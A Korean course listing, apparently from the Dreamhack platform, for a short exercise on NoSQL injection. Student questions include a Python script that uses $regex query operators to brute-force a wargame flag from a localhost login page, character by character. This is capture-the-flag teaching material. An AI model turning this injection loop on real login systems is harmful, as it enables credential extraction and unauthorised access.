강의 설명

드림핵 워게임 문제 중 Mongo를 풀이하기 위해서는 NoSQL Injection에 대한 이해가 필요합니다.

워게임 문제를 풀어보면서 NoSQL Injection에 대한 이해를 높여봅니다.

강의 목표
문제 풀이를 통한 NoSQL Injection의 이해
이 강의와 관련된 질문들입니다.
3개의 질문
코드
import requests, string HOST = 'http://localhost' ALPHANUMERIC = string.digits + string.ascii_letters SUCCESS = 'admin' flag = '' for i in range(32): for ch in ALPHANUMERIC: response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}') if response.text == SUCCESS: flag += ch break print(f'FLAG: DH{{{flag}}}') 이 코드는 어따 작성해야 하나요? 그리고 sql은 어디다가 입력해서 하는 공격인가요?
#웹해킹
#nosql
#문제풀이
코드를 어따쓰는코든가요
찾아봤는데 파이썬같기도하고 모르겠어요
#웹해킹
#문제풀이
코드 상 {{만 써주신 이유가 궁급합니다.(}}는 생략하신 이유)
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}') 부분에서 D.{{{flag}{ch} 부분이 출력되면 D.{xxx 나오게 되는데 이때 여는 중괄호만 출력되고 닫는 중괄호는 출력되지 않게 하신 이유가 궁급합니다. ex. D.{{{flag}{ch}}} 의 경우 D.{xxx}형식으로 pw의 형식과 일치하게 됨.
#웹해킹
#문제풀이
강의 평점
0.0★ (0)
0
Exercise: NoSQL Injection
0.0★ (0)
Free
상세정보
약 1 hour 소요
쉬운 난이도
Python, NoSQL